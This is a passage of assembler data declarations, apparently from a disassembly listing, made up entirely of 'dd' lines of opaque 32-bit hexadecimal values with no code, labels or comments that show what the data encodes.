		dd 2018CC29h, 0F3386D41h, 0ECAB00A2h, 967C9F5Fh, 4A00DD3Fh
		dd 0CCC9ADF2h, 0EA97235Ah, 92590024h, 673F75ACh, 150017A3h
		dd 278C8F98h, 52D8DBh, 0F9FEB786h, 13AC9057h, 5501FA7Fh
		dd 3EBA1170h, 48E49D43h, 0ED990031h, 0DD186194h, 0E4007D2Bh
		dd 8F1BF49Ch, 3AE79D4Eh, 61003239h, 8EC46663h, 0A80058E0h
		dd 6DE1C334h, 269A023Ch, 564E59h, 6F0F166h, 1E017730h
		dd 0ABA04BEEh, 5D9AE11h, 513B1FCh, 0E848CB71h, 5798C09Dh
		dd 7CEE0EEBh, 431FC800h, 0A62B0F81h, 636A07BCh,	7017BA41h
		dd 0F099C7B8h, 1FE52C00h, 0A0F33D77h, 0FC6700EEh, 0BED24A39h
		dd 0F839A806h, 443A0004h, 0D724660Eh, 47A1077Ch, 0A0B0E24Bh
		dd 4CA26325h, 90612200h, 0F9E41375h, 5DB4188Ch,	0BDD8C009h
		dd 0AA711600h, 8FB724A6h, 0E1CC0021h, 63C7A0CDh, 560F3991h
		dd 7C5894D4h, 0E190B80h, 48F89Dh, 2674A7F3h, 0AFCF2491h
		dd 0BA3EF1Eh, 29DCA280h, 8C7046h, 2BEEF655h, 6DFCBED9h
		dd 41D680Eh, 8069EF2Dh,	0B5CA5E88h, 8ECA5h, 0D5818944h
		dd 0B01FFA53h, 0B8FFD200h, 0FCC923Fh, 0B33B3C7Bh, 0B464B600h
		dd 4205F234h, 0A3AC7700h, 5A2B12C2h, 0BBCF0C56h, 24288AFCh
		dd 82A28100h, 0E39D9BA0h, 2C7A0001h, 0B1E88DD4h, 0E700A3B5h
		dd 92CC199Ah, 12971ABBh, 40211012h, 0A19369D4h,	0D84E7C50h
		dd 0C00C787h, 1849528Fh, 0A0F6BE22h, 0D748964Ah, 39AD0064h
		dd 0C8445ACDh, 12749055h, 9294501h, 0E4A04C54h,	8B1F66C1h
		dd 91096A78h, 2017E7D5h, 0B18047B4h, 0A7B701F4h, 0EFFB5845h
		dd 9D5884E8h, 28D081F5h, 0C74E3FEh, 0AD96E023h,	510E2A79h
		dd 0B124AFh, 0F21876C2h
		dd 0EBEEF4D0h, 2A11AF4h, 20D32C11h, 0F841686Ch,	22306271h
		dd 24C13CA7h, 1795793h,	38840824h, 3DEC245Ah, 0BD147A7Ch
		dd 838DADh, 24A89DFCh, 7B749F2Dh, 3E05004Fh, 7B982BF8h
		dd 0E603EADDh, 0A466C1Dh, 91E98857h, 62C006E0h,	0C84824A2h
		dd 7330AF00h, 97DBAE12h, 788360EAh, 0F653A1D0h,	0B7542900h
		dd 42033718h, 0EB0B007Ch, 0FD26D92Ah, 44301620h, 4CCA3066h
		dd 0E0D715DCh, 0AE02905Ah, 83C311ECh, 93E970E0h, 57EC2877h
		dd 0A62EAC00h, 94CB66C0h, 485D1767h, 8BBC07B6h,	0B02307FFh
		dd 0CC50EED6h, 47E5B105h, 80006185h, 2DFC8912h,	106E6040h
		dd 16A4F6AAh, 62C82801h, 0A1E4C9CBh, 0E8D7D8C4h, 0E6C50014h
		dd 70DD4CF5h, 38488227h, 0CB9700D8h, 3759CC0Fh,	49B0017h
		dd 74AA77C1h, 6D00EAB4h, 70B0C8F5h, 0D87361h, 0FB29AE01h
		dd 1CA36F2Ch, 34142112h, 0A5781400h, 4C228h, 0D56BA0E4h
		dd 37D49732h, 61335005h, 64808372h, 1D0C5FB9h, 0DF4BD63Ah
		dd 0CECA4038h, 75DA3040h, 0F32EA700h, 0B26F3290h, 0C8AD075Bh
		dd 61501429h, 0C61E606Dh, 0FAB6CFE0h, 64F8DA00h, 0A89E75F1h
		dd 83EE0E17h, 5BE07C86h, 0E994538Bh, 68465Ch, 0D13C1F5Ch
		dd 0C874EAh, 8D10380Ah,	0DFB93A5Bh, 1831984Ch, 0BA1A6BBBh
		dd 879D0141h, 4413EEEBh, 224820A7h, 913CE4FEh, 87D3AE33h
		dd 9D9C9E00h, 203265Bh,	19A96C55h, 0CAC08C23h, 8D123E0Eh
		dd 0B300E5E9h, 130B3B94h, 0EA1B008Eh, 814020CEh, 3F04B298h
		dd 0BDC91FADh, 0B71E00EEh, 0F3294A2Eh, 0D45C7E00h, 8786E09Dh
		dd 37360021h, 0B2318D95h, 0F8902AC9h, 0D87D3E00h, 0E49A6A73h
		dd 58B900D3h, 3B7ADE5Eh, 0C60B8C98h, 31BA2Dh, 802EF1CDh
		dd 0DBC90072h, 0D1651EFEh, 0BD014A52h, 698DBC3Eh, 64E86D36h
		dd 0C4FEA7h, 0C93416ABh, 0FB20DA33h, 5B01CEF2h,	4CFF46FAh
		dd 51207FF2h, 0F94916CDh, 0F66C4523h, 5B27C098h, 690F56E6h
		dd 0EB77B410h, 4E82009Bh, 2F96BCh, 75B5F3B2h, 833E7908h
		dd 4D004FF8h, 0CBB9951Fh, 2D44C8Bh, 88D603C7h, 868EB30h
		dd 0AA007AE7h, 446A1843h, 353428h, 3D1C1377h, 147383Fh
		dd 5302E076h, 70DE02FCh, 7852F1h, 38B419D1h, 18AE1363h
		dd 0FC8AFA00h, 878DBB23h, 0D3CA0E0Bh, 4300EB28h, 0E9562ABAh
		dd 0C603E7F0h, 0F79E9CEEh, 55F8B819h, 0DBB10003h, 0AA624F3Ah
		dd 0A10E5128h, 0EFA81E84h, 1BB88088h, 73E5Eh, 6D7F9348h
		dd 1EE7D350h, 64FA3890h, 0A44EE330h, 0B306FCAh,	77EAAF15h
		dd 0A8EB4280h, 0B70017B9h, 0ECDF36C6h, 2E5001CEh, 3C691A1Bh
		dd 0A5560780h, 2D913F17h, 6F42EA00h, 48E2FA0Dh,	0CCE009Dh
		dd 6430A225h, 900031B8h, 0E00557A3h, 2A5946Bh, 0FB8E7A04h
		dd 5050180Dh, 0BE8A1B1Eh, 0B0656700h, 73E03Eh, 57E54182h
		dd 2F114B8Bh, 0CB7E5D00h, 0ADE7C0Bh, 899F063Fh,	88A40E77h
		dd 1BC6E500h, 0D7B8FE53h, 0E0D398E6h, 81E5B03Bh, 6AF0FA86h
		dd 0AF1200BFh, 0BEF005C4h, 0D70003C5h, 91C64EA9h, 7F7240h
		dd 7E56E452h, 8E2CEDE8h, 5A0FA11Dh, 51DECB03h, 8D1BE064h
		dd 22AFABCh, 0AD318FD7h, 40409153h, 0E6001A2Dh,	0EDD6F47Ch
		dd 1FB1CE33h, 41F1329Fh, 0B694EFFFh, 5EE7E819h,	640D8D00h
		dd 47AD7B56h, 0E49F1C61h, 6BFE4259h, 0C0502C57h, 7ABF0E00h
		dd 9BAF01E0h, 81E2008Dh, 5E6EABCFh, 0F7FC87DDh,	0A1C9BD0Fh
		dd 0BEB18072h, 0D65B22h, 0AE51AF8Ch, 61CA4381h,	8D721318h
		dd 0BDEEE4h, 0D5F3DFA4h, 0C7DC7998h, 0E555AB00h, 0D754FECh
		dd 0A860015h, 20092E2Fh, 0BD01487Bh, 403C6E59h,	8D44725h
		dd 1D78ECEDh, 6D1D56h, 0E4A268BFh, 8E76F66Ch, 4D52C500h
		dd 3D7A819h, 0F4FD0791h, 0E039BAE9h, 401CC4FCh,	0D37EA47Dh
		dd 1A8A9C00h, 3153EE5Bh, 0B0E50045h, 0B962E0AEh, 2A00CD13h
		dd 52E4C2D4h, 1DFBB62Dh, 0C0DD594Fh, 0F1800E1Ch, 5001844h
		dd 0C35AC749h, 60D667D3h, 25945046h, 0A9007A4Bh, 0C547D228h
		dd 30DBCBh, 36ACBCDDh, 1EEA05FFh, 910018B8h, 28860FBh
		dd 975EC7h, 9D30F04Ch, 3121CEC6h, 60654100h, 83B6C0D5h
		dd 1C3C7552h, 4015335Dh, 0F571516Bh, 0CE00278Ah, 0EAE5B92Ah
		dd 1F3F26h, 65505C44h, 93615812h, 0BF55F718h, 418DF0h
		dd 47A5BBCBh, 0F2C53F1h, 0A30177EEh, 3DEB6EE2h,	0D8C8C431h
		dd 936F006Ch, 9D66100Eh, 4700B559h, 0D09444B7h,	9E0A3h
		dd 5B968680h, 83B8C8D4h, 9DD6630Fh, 78C0BD7Eh, 49613B0Eh
		dd 74D500EEh, 8B4A3DE7h, 0F04C72E6h, 16750FD3h,	0A3A60E8h
		dd 35FF5AFh, 0B685984Bh, 0F0268C5Ah, 80E181Ah, 76E26031h
		dd 36A750Ch, 0D0AE3CFCh, 84D0F60Eh, 6503771h, 4618AFAAh
		dd 3A11C1D4h, 4A7A0F9Eh, 95411FBCh, 0F8628D24h,	9490D3B7h
		dd 2288BA50h, 0E257A600h, 0E55EAB19h, 4F9E00F7h, 91E6FEB8h
		dd 0F400D6A3h, 0DA9D89Dh, 0EFB7B3Ah, 27435DBh, 803C6224h
		dd 3904FD58h, 4B051001h, 0E0B6D1E5h, 584E49E4h,	101FE8Bh
		dd 0DF7B4D26h, 1EC17A1Bh, 0AEC4C10h, 6A51D52h, 14A80056h
		dd 0A31A0F87h, 715D2000h, 4933B964h, 13DD3CFCh,	0E4423C00h
		dd 60E53622h, 673BBF00h, 0AA4EE6B2h, 0D2EE007Fh, 0D5954796h
		dd 1F0FE05Dh, 8B7CA202h, 4BB880DBh, 8CD3CFh, 3363C035h
		dd 3AFA2852h, 0B6D6003h, 0B051D05Ch, 3E0ECA14h,	0A10F6F70h
		dd 4C62D269h, 30608F2Dh, 4900E976h, 0C8A739EBh,	904F95B3h
		dd 89E801ECh, 0DCA6B1AFh, 0A499F4CEh, 92B0DB17h, 4B0EF4E8h
		dd 6D200A74h, 0D134977Eh, 1D789A00h, 4F6B21E4h,	4329002Ch
		dd 49D7F26Ch, 943F939Fh, 1A04F9A6h, 203EBF56h, 75CA13C0h
		dd 33E13CF4h, 5511DBB1h, 92D0F73Ch, 307EFE10h, 0C26F5B0Eh
		dd 2940DFEFh, 0A4D461A7h, 18E2AFh, 0C984BBFBh, 4E89C4FDh
		dd 12F02B09h, 68B90A1Eh, 7178B000h, 7F25302h, 0D9398583h
		dd 482304Ch, 0CD5C9D07h, 213730B9h, 171B5C1h, 3F2FF193h
		dd 0D417E32Eh, 0F700E085h, 6A5A0529h, 0C0B0F0h,	0D0EFC448h
		dd 474E74D9h, 5D40DD26h, 0BC40231Ch, 8F50133Dh,	0A82650CDh
		dd 454100F0h, 66CA2E4Ch, 1D50E760h, 1900DAB7h, 0ACD27D9Bh
		dd 0FA5A2A8h, 0ABCC01A6h, 81E8E024h, 0F1E7F554h, 0EBE8EB63h
		dd 140A118Fh, 0A8AAEF6Bh, 83FC720Eh, 0E89ED6C6h, 50D19957h
		dd 0AFA44Ch, 0EC830635h, 0DFAD7D1Ah, 1F26A207h,	0B0A03419h
		dd 0B924B2h, 23426A2Dh,	96D522F0h, 0E690AE00h, 0C0F016Ch
		dd 0D7A9004Bh, 87661ABDh, 1E00B281h, 363583F4h,	0C0C231F2h
		dd 0DB264511h, 47009AC4h, 0A1A3D3CEh, 2E8EA027h, 1488A69h
		dd 8B32119Ch, 0AB2C30D8h, 30F5620Ch, 9021185h, 619A1367h
		dd 0A7AC000h, 0AB391CAEh, 62400345h, 0E92178ACh, 0D970A297h
		dd 0B1ACA886h, 397A41h,	7E186715h, 0D425C5DCh, 5EA99501h
		dd 89326EEDh, 10CC8E4h,	5A304054h, 326362D6h, 0DD750284h
		dd 407CC5FEh, 0E6B6A1A7h, 345B00B4h, 0C6FB935Ch, 0BB0A95E3h
		dd 0AC65C19Ah, 1ED2401Dh, 827D9D00h, 7AEEF5h, 504E608h
		dd 89BE6E33h, 38B1B51Ch, 0C51142D8h, 0BD5D08A1h, 30006CB7h
		dd 885FF435h, 1292E09Ch, 6B68433h, 0B83D5A86h, 6070A500h
		dd 14BEB8D7h, 3AD92655h, 832100E8h, 0BF5F3D28h,	0FD9E3601h
		dd 7B8A169Fh, 71BC1FC4h, 88E80C38h, 264840DBh, 8AE0EB09h
		dd 87770E05h, 0C8BCD250h, 0F0F5000Dh, 66C411CDh, 1B0003D5h
		dd 1E8AB773h, 37A5082h
		dd 0DDBC35B1h, 0C2F7D94Bh, 0B449E48Bh, 0FBADCC33h, 0C803Ch
		dd 0BB7375E0h, 1FA27CD2h, 43D32A96h, 4BC7DD1Eh,	75EF97A0h
		dd 8669E700h, 0E70E5F1h, 0F59600E2h, 0F63C8CD7h, 5600A6FBh
		dd 40A5B7CCh, 164B3E1h,	63BFEB5Eh, 0C845A951h, 16005D74h
		dd 333E3AEFh, 15EF805h,	39E138A2h, 20AC2BFDh, 7F00B45Ch
		dd 3CFB4A41h, 16EFD5C7h, 403731A8h, 2AF76144h, 6360BE72h
		dd 86924A72h, 0D790066h, 6B60EF1Fh, 983D7AF0h, 36AA007Eh
		dd 6266EE95h, 4CB8003Ah, 6D1BA5F1h, 9C0A9ED2h, 0D0ACD586h
		dd 0B7973400h, 1698BE1h, 523F32B4h, 0DC457DCEh,	75168790h
		dd 4003018Dh, 0F4FCF6Ah, 93D95080h, 4672E380h, 80E228D3h
		dd 7366E700h, 6257271Ch, 2E5E0023h, 0F60A84A9h,	55001E1Fh
		dd 0DF96CB9Bh, 498D48Ch, 58DDC646h, 597890FFh, 521754BFh
		dd 140260ABh, 0B22F2Eh,	0DE124456h, 0B10804Dh, 80EF9DF5h
		dd 103E610Ch, 8C19CF26h, 87EC12C0h, 53103F13h, 0E80976B7h
		dd 5F014DB2h, 70390DCEh, 0BC587D4Ch, 4ACA0EF5h,	8A74013h
		dd 0C289C0h, 2F8A7170h,	321E8488h, 411EB174h, 18C0F6CEh
		dd 0C2E2E320h, 581F0096h, 0C645CD4h, 0A9483802h, 0DCB80730h
		dd 8F307C26h, 13E3296h,	196E0853h, 0D424034Bh, 3100B7A4h
		dd 20D5E35Dh, 5882297Ah, 0F004D3Dh, 25BC1BFh, 0B60B9A40h
		dd 8E0DBD5Ch, 0A5A681E4h, 3620CA38h, 0AEC90FF6h, 0C7E103D7h
		dd 21B915DAh, 39A864DCh, 0A9C1F600h, 0D8DC04A0h, 0FC3658EEh
		dd 601A2703h, 0A5C81284h, 0A17792D7h, 32213A15h, 452E03B4h
		dd 0B0191BCBh, 89E4C4h,	0ABA63D91h, 2F52C577h, 12597C0Fh
		dd 6C831298h, 5BD3D922h, 3A5C50EAh, 3500803Eh, 785C0F5Eh
		dd 2607FF14h, 4293D8C2h, 76724431h, 43AAC540h, 34B207E7h
		dd 0D0B41E8Eh, 49527AE4h, 8429AB00h, 0E86A9909h, 0AC855070h
		dd 62ED1F17h, 883751h, 0E5AFFECEh, 0EC783260h, 381455AEh
		dd 8A0091F7h, 0F5314F12h, 650702EBh, 8CD645A3h,	9D04FF90h
		dd 0C5BF1CDFh, 0A8DE8255h, 0C04063B8h, 5A077488h, 1A79E467h
		dd 0B43035E7h, 0ED8C5Dh, 0C44C541Bh, 0F2166395h, 0CC11B229h
		dd 95EF230Eh, 16A053A0h, 200341A5h, 0F80B9815h,	0A00DB7h
		dd 6703562Ah, 0D9A69AF3h, 80ACE23Ch, 2DD7DB1h, 104964h
		dd 87D87335h, 6F9C9AEh,	4DCB3600h, 83F317B5h, 138A00E9h
		dd 0DA7999B0h, 1460AA1Ch, 0D92E2D18h, 0A7FE00D0h, 52CB4E5Ch
		dd 0D079BC5h, 6C53CD2Fh, 0AE1495h, 3028A7F1h, 12018BF8h
		dd 19FD444h, 0F6CC1861h, 0F83F86Ch, 557ABF0Ah, 50F32AE0h
		dd 0FC5CBC75h, 0E7F700E6h, 31588EC9h, 106200CCh, 651C88E2h
		dd 30010766h, 0CD94369Ah, 904025A6h, 1C3FA796h,	52CC57CAh
		dd 0E8271048h, 0A03AF10Eh, 0D0C28004h, 0C08B1100h, 787C700h
		dd 0A8CC6AAEh, 93D13809h, 83403280h, 1DE2015Bh,	8D0F7E00h
		dd 3F8B87FCh, 71740082h, 0FE5B9112h, 8F079331h,	30BE69EDh
		dd 3CBE450h, 1DD80070h,	716C4E04h, 0AE093D44h, 62ADF4CFh
		dd 3CAD60BCh, 8846242Dh, 0AFA7D0B4h, 97D30900h,	0D4C8BD58h
		dd 0C6FD185Eh, 13EC9887h, 9E470A04h, 0AC92194Fh, 4441210h
		dd 5E20450Ch, 351FF060h, 0C040EA2Ah, 0B1688CCh,	0DCD39900h
		dd 30C2AFEDh, 0D84702B3h, 98205E57h, 379A5868h,	250C670Ch
		dd 4FDA43h, 0C8D2359Bh,	0C09810ACh, 63D1DA00h, 2D386C02h
		dd 744F00F2h, 3095E181h, 7C752546h, 43292703h, 88198B0Ah
		dd 5DFACCh, 0C74C1D4Dh,	6E9D7C05h, 67F23C03h, 90CB5BAEh
		dd 0B0576165h, 96370E64h, 0E1190804h, 107C23A9h, 22016FE1h
		dd 0A056C307h, 0C09470D9h, 0E00014FCh, 0C1F79360h, 0F56688h
		dd 57E5DCD2h, 2A5A2F39h, 36DDD700h, 81C52549h, 0DB61C466h
		dd 8034E450h, 79FC7040h, 0E0AA4F56h, 722407DBh,	0B1002CB0h
		dd 0C36C62F3h, 128700F5h, 6168ACF2h, 20C0B5D2h,	2A83D055h
		dd 238A0049h, 9791800Eh, 0B260E550h, 0B4C162A8h, 395E78BEh
		dd 0B002687h, 0C73A55C4h, 751680F5h, 0B80005C1h, 0D42ECCACh
		dd 73CE3B8Bh, 4C1B4160h, 0A41CA5F3h, 5A80F201h,	76FCA76Ah
		dd 4EE100C9h, 3064C534h, 690016FDh, 0A4F8A650h,	6CFE90h
		dd 0BE1DFF53h, 29945CEEh, 18ADCA12h, 51705000h,	8D9E71h
		dd 0A6D2660Ch, 0B5766F27h, 42D12F00h, 93A1B0BAh, 6DEF00F5h
		dd 64D49C0Dh, 0D31E7B17h, 7980FA91h, 9548DD15h,	9F9300F9h
		dd 83B6C821h, 6B0040A6h, 0C002625Dh, 9E6E60h, 4798D585h
		dd 0F052DDC9h, 80094000h, 0ADE6322Dh, 0F15000A3h, 0BD218D6Ch
		dd 5D3A64F7h, 0D28E8098h, 6DBE8B7h, 0CCA70972h,	0B0202F38h
		dd 9B70312Dh, 300DAE6h,	8E2A9A1Ch, 16F40F34h, 4045FFh
		dd 90CCE3D4h, 0EA00DBB6h, 7FC9C099h, 1979A5Ah, 1F6115E5h
		dd 204A1026h, 0EB70AE30h, 31130205h, 9482693Dh,	0A4606014h
		dd 9754396Fh, 3F9FF381h, 0E8FDA8DBh, 0B05C280Ch, 4DA90060h
		dd 5D9405ABh, 1F02003Dh, 0F9A18155h, 0CF004895h, 2FA3758Bh
		dd 0EA0CBFh, 9DBFBAEh, 1B574C2Ah, 6993FD1Ch, 2D49214h
		dd 8EF8D53Ch, 4D4C001Fh, 611EA333h, 72C00450h, 91988D53h
		dd 80553EFBh, 47D22C80h, 23A9F8E1h, 7BB0A800h, 64BFA64Eh
		dd 5790A15h, 2D8F69Fh, 1DA82F1Bh, 559AD4A0h, 855117h, 6D27033h
		dd 5074627h, 0FB5E974Bh, 0B46ACB90h, 0D374001Ch, 8BE7DE4Eh
		dd 0CD73E140h, 7BA44A00h, 7C07625Fh, 82D900B7h,	3C191EB6h
		dd 0AA00DA74h, 10B3EBFBh, 0DB4104h, 6D24A111h, 9B5CD1B2h
		dd 53F11B00h, 0E9712607h, 73280E4Dh, 662043F0h,	0CE84F810h
		dd 0A7339D00h, 1F0CB65Eh, 6F8F1C57h, 78B480D4h,	19F6B82Ch
		dd 79CF058h, 381088ECh,	5C07D420h, 47F7A13h, 0D5439425h
		dd 0CB84D02Ch, 0DE00087Dh, 0FD10BBD4h, 0E41B0EDDh, 1C2008Bh
		dd 0C35CAE20h, 87001F75h, 60E1DF45h, 0FEE7FCh, 9A58ADC2h
		dd 0F8B12B0Dh, 0BB8BEB00h, 39A18F49h, 0A20200D7h, 38AD4C07h
		dd 0A326455Bh, 84406086h, 501999F7h, 1C49DCACh,	801C790Ah
		dd 627DD1ECh, 9401BCDDh, 47FF9092h, 0E0C27AB4h,	0CBDCF17Bh
		dd 0BC0150D2h, 7B582B9Ah, 0B8F4E0C3h, 879152h, 61BCDF42h
		dd 82FD660Dh, 0DC46AD00h, 0BF2CB7E6h, 0A49581Bh, 0DB932407h
		dd 0D65A4084h, 7700B50Dh, 7BDAEDE8h, 7A03F7D7h,	0E8107E0h
		dd 715B4C36h, 872324FAh, 73658368h, 6B8D3E80h, 256D013Ah
		dd 0AAF9ED7Dh, 8C60741Dh, 5DB2C900h, 75131731h,	0E86B2687h
		dd 0C6D0130h, 20CC1EB3h, 0B916EA02h, 0BC000376h, 31C43ED3h
		dd 3B4A02B5h, 5C70C70Bh, 99C9CC60h, 0DC13EE26h,	1E390280h
		dd 0FD19207h, 0F73627FCh, 3A0C0777h, 3B1FC0F6h,	126353BAh
		dd 0D0E59131h, 1DB1D8A6h, 0D0CE56h, 607CBF6Ch, 6F0044D4h
		dd 0C0595DFBh, 781CC16Ah, 62770071h, 0EC99CFA3h, 0D5006819h
		dd 0C6E059B4h, 0E3D3316h, 450227DEh, 1E1188F8h,	71EB6318h
		dd 0EA95770h, 0C553CEFEh, 97325E20h, 6FEF3C7h, 0BD00E892h
		dd 3114139Dh, 3A0B0726h, 0E300FE9h, 45E2B759h, 90AFF100h
		dd 636CC7FAh, 1451004Fh, 0D46BD3BDh, 4D1E8733h,	6DDDB3C2h
		dd 72C3C1DEh, 0D076AEF6h, 3E163E0Ah, 0A98E6104h, 4140F589h
		dd 66CDA447h, 0E5206F60h, 395AD6h, 94F58F95h, 40600458h
		dd 0E04930C7h, 0BB1E2670h, 0E7F47244h, 0CDA31883h, 407C61FFh
		dd 0F9F5F3Ch, 110D7DCh,	0D5E0FC18h, 19473600h, 382EB674h
		dd 813BDC95h
		dd 615C9BA3h, 188C8F97h, 0D7218EF0h, 0A38986F1h, 751D0BDh
		dd 0CEF5D9E7h, 0F4D1CC1Ah, 8B1D5200h, 5B685989h, 0F141C788h
		dd 0BDD150BBh, 48DF41DAh, 926FB801h, 22F4CD25h,	587034F6h
		dd 0C6768098h, 8D34524Ch, 600160DFh, 621B2DCDh,	8391E8h
		dd 31FB7ED9h, 2825B496h, 17A53B07h, 7B00210Ah, 4A36Ah
		dd 0E22B7112h, 0DDD25EB8h, 1E7DF438h, 0D00E4814h, 6049E642h
		dd 0F387391h, 0E3820EE0h, 0F10E760h, 7F2DCC06h,	176A8633h
		dd 0C7950229h, 0BAD978B8h, 0B7A994B8h, 0A5515A01h, 88D44A1h
		dd 39B9A3C4h, 67832969h, 85ABB577h, 5C571818h, 0E6B7D850h
		dd 0B36E3ED6h, 0ABA20170h, 3B474514h, 0B52C438Bh, 0D0D85D99h
		dd 59006748h, 8799C728h, 0FE7AB6h, 8469E10Bh, 60B974DBh
		dd 1D038B76h, 54FFAED1h, 9D682C93h, 94A21E4Eh, 7B009FE5h
		dd 8C5092BCh, 0A0004CFCh, 7D40C6A9h, 0A01C5FB9h, 0F4E1AD5h
		dd 0C2DEE637h, 83CC360h, 4150CDF2h, 0E2840D8h, 0A10C508Ch
		dd 11695B72h, 0DD65017Ah, 0C725DE85h, 0B59C50BDh, 50E9DAB2h
		dd 0D062D9B8h, 4570F500h, 2A427BBDh, 0C3610764h, 9051DD7Dh
		dd 1EBFE334h, 38FEC100h, 0EAB29565h, 2BE00627h,	183E5C43h
		dd 0F200DD7Dh, 3142925Ah, 613FD5B3h, 0C73E300Ah, 0FE08801Dh
		dd 2BF0F3ACh, 0F8772C3h, 47A2ECBFh, 3C4D4383h, 168B480Fh
		dd 77D8C0E7h, 3888666Dh, 0EB80466Ah, 0FF34E9C7h, 0CE001D62h
		dd 0A1283E49h, 25FE54Eh, 0BEC45DA4h, 2360EE7Bh,	1FB0D614h
		dd 7DAA751Fh, 7360E080h, 773864h, 0FD491DEAh, 0EA774FCh
		dd 8BC0E500h, 61C78565h, 589053h, 5DFDAED7h, 6722B6E2h
		dd 95D33F06h, 7548FB62h, 728F1E97h, 75B60064h, 0B96A1E55h
		dd 0F20066E2h, 2D26614Ch, 3B88A2B4h, 0C6878020h, 0AB4247A3h
		dd 75FE0077h, 1C970BB5h, 0C0463ABAh, 0B8323FE6h, 0B9E69666h
		dd 1B0604A7h, 10BDCDh, 0C8AA2C2Eh, 62821397h, 80369000h
		dd 0BBAF843Eh, 0A433071Bh, 762FCF17h, 762229A8h, 82CC2265h
		dd 74112742h, 287A289Eh, 948B7FF6h, 0EE74D640h,	5100B06Ch
		dd 2F49FF2Ch, 120BABDh,	3360BBB7h, 0D108C49Ah, 0CCA3FC88h
		dd 12DA7100h, 4B6BDB03h, 4DA2005Dh, 4E35996Ah, 59000FFFh
		dd 0C8301A19h, 39F483Ch, 508D2851h, 0F900B1DFh,	0CA328979h
		dd 556BBBh, 44F90962h, 83731526h, 7E02EA00h, 8354D32h
		dd 39EB005Bh, 77197081h, 14003655h, 0ED26A06Dh,	0B2E685h
		dd 0DF4B106Ah, 7EF60293h, 19C0CF7Fh, 0C638E825h, 16242C2Ch
		dd 497F006Fh, 2642F304h, 0B4813100h, 0FB4D55D1h, 0BFCC30A5h
		dd 6CB076A0h, 0C7EFE800h, 7465BD64h, 0C0DA0037h, 0D5DE13FEh
		dd 9B001904h, 0EC617D7Eh, 0ABD39h, 0B2274130h, 246BEE3Fh
		dd 79AFB407h, 956064F5h, 4A056Ah, 89DC709Ah, 0DEDF114Bh
		dd 0D94F5000h, 56E058EDh, 0EA790Ah, 251FA32Dh, 492195FAh
		dd 11BA8500h, 572F981Dh, 3FDF03FCh, 0BFB08BD2h,	0D012C08Fh
		dd 8607171Bh, 0DE0E13FBh, 0A57EB751h, 0C92C40FEh, 0BCF100E4h
		dd 8FFD41E0h, 0F005FF9h, 0C727D08Ch, 18AE2B3h, 7983D9D4h
		dd 609DF32Fh, 0D31CA873h, 0AD405BF6h, 66FA3DDCh, 0A89F5EA6h
		dd 0F01828F2h, 0D94CD80Fh, 68EB6034h, 0EE15E3h,	335305D7h
		dd 0BE79096Eh, 0EFA8970Fh, 6F540095h, 7D803ECh,	0AB9061F7h
		dd 4CEED0CBh, 4F0723EDh, 0DAB7D388h, 0AE605050h, 12E7D7Bh
		dd 7CD9D60Dh, 0F0E18A99h, 90052A1h, 0B244C554h,	5F1BE8h
		dd 569A72Eh, 0D8728039h, 0CB6D1800h, 0AB583AAh,	0F8015182h
		dd 5C2C0h, 0E971C4F8h, 0A2D54DD9h, 3D0CD4F2h, 48FC9E24h
		dd 21C00127h, 0CE368063h, 30E5E8C3h, 26F7FA03h,	0D0E86FECh
		dd 495672Ch, 3E3DC43Fh,	6DE09076h, 5E77ADD6h, 4B30A200h
		dd 0E824348Ah, 6E1E00B5h, 0F0E606BFh, 377EA98Bh, 4B839400h
		dd 5736ADC7h, 116401BBh, 4204BD3Dh, 100DE099h, 0B405E028h
		dd 0E7A07C08h, 65DC8435h, 7E7DC0DEh, 550E0379h,	20F4078Ah
		dd 0C09AA977h, 0FF878BCh, 19D6B4Ch, 0DCD209BEh,	0BB638803h
		dd 0EADA2AE8h, 5FC4C00h, 0DF7DD375h, 44E70EF2h,	0B420CE8Fh
		dd 90A9FF2Eh, 215FE302h, 40DA7718h, 9C6F35h, 35F41E91h
		dd 36BCF049h, 733049B0h, 0E54FAAEFh, 6428C71Ch,	74E4D099h
		dd 770F8780h, 0C3B4C3CFh, 0B026F101h, 0B741ECh,	909F6EE3h
		dd 92E447BFh, 6A6FF300h, 0E76072DCh, 13D770FEh,	4B4F540h
		dd 80258A60h, 0CC88FB41h, 613D19E2h, 92B28056h,	0A497C086h
		dd 6E171235h, 4FE41FBCh, 7340888Bh, 0DAC828E8h,	80C738h
		dd 2939A3F4h, 1012ACh, 57D90E82h, 20086124h, 53F6C100h
		dd 5B9F72C6h, 2D9400AEh, 0A3150535h, 0B10106C7h, 0F79A4E6Ah
		dd 97FC829Dh, 1E589252h, 0C198AC58h, 8E6277Eh, 0E7C3FCB3h
		dd 0C90558h, 59711FAAh,	229AF8Ah, 9D126FA2h, 4C09746h
		dd 6A005DD9h, 0D279BD52h, 98315027h, 18D60074h,	29E81174h
		dd 0A50073ABh, 0ACB1253Bh, 38FC7DF7h, 0F963ADh,	9DDEED78h
		dd 7106078Dh, 5533FEC3h, 6B219086h, 87DD0003h, 5E14152Fh
		dd 5A3B7248h, 29BB07CCh, 30C1F946h, 23ECBA09h, 0D97A90h
		dd 67C92016h, 0CDD42E5h, 8ED54E3Fh, 4086F8FFh, 5D6C0DC3h
		dd 0BD009760h, 1CA11811h, 0A6EA8703h, 893EAB64h, 20D005C8h
		dd 221E0FDCh, 5A00B8B1h, 5FE61685h, 5319DF67h, 0A9E30DA0h
		dd 6FBC3E4Dh, 66930100h, 91794A2Fh, 8586443Eh, 60AADB99h
		dd 0BD3E2083h, 7A80C61Fh, 8C67EF1Eh, 0DF72003Bh, 0D45C31C5h
		dd 2718E79Eh, 0E9F8D89Fh, 6B86003Eh, 7E4B0870h,	747DA362h
		dd 0CE478E1Fh, 0B367D540h, 3C2F7111h, 87805A83h, 0F632BAC7h
		dd 0DF003541h, 13469A3Bh, 14457ECh, 82E81B15h, 0CC41D3B0h
		dd 23013F60h, 0AB3BDD9Bh, 62CC9139h, 73E0A4h, 0CCC99C12h
		dd 0A1616041h, 38754D00h, 7F098EE5h, 0BC6A0086h, 234402B3h
		dd 791DCBD2h, 0D0C0710Ah, 83631FE2h, 0F9FE007Bh, 9D0FEA30h
		dd 7507647Ch, 495AF1EFh, 4D5E9CD0h, 712607C7h, 76B008h
		dd 0D573369Eh, 0AEA65907h, 8E3082FBh, 1CF95Bh, 9C493A11h
		dd 80840266h, 90001EE2h, 0EC9AF324h, 0F83325h, 208CB2D5h
		dd 1CD2D6F5h, 0ED43AB0Bh, 0A168800Bh, 3C4155Ch,	0B9B426F8h
